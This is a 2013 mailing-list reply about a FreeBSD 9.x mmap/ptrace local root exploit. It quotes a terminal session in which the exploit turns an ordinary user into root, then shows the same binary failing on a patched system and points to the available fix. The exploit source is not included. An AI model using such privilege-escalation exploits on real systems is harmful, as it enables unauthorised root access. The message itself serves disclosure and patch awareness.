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Re: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)
From: Emiel Kollof <coolvibe () hackerheaven org>
Date: Thu, 20 Jun 2013 10:25:14 +0200

Hunger schreef op 2013-06-19 23:32:
$ uname -a
FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
4 09:23:10 UTC 2012
root () farrell cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  amd64
$ id
uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
$ gcc fbsd9lul.c -o fbsd9lul
$ ./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger <fbsd9lul () hunger hu>
# id
uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
#

uname -a
FreeBSD nergal.ninth-circle-alliance.net 9.1-RELEASE-p4 FreeBSD 9.1-RELEASE-p4 #0: Mon Jun 17 11:42:37 UTC 2013 root () amd64-builder daemonology net:/usr/obj/usr/src/sys/GENERIC amd64
./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger <fbsd9lul () hunger hu>
fbsd9lul: ptio: Bad address

Vuln is already patched and available in freebsd-update.

Cheers,
Emiel


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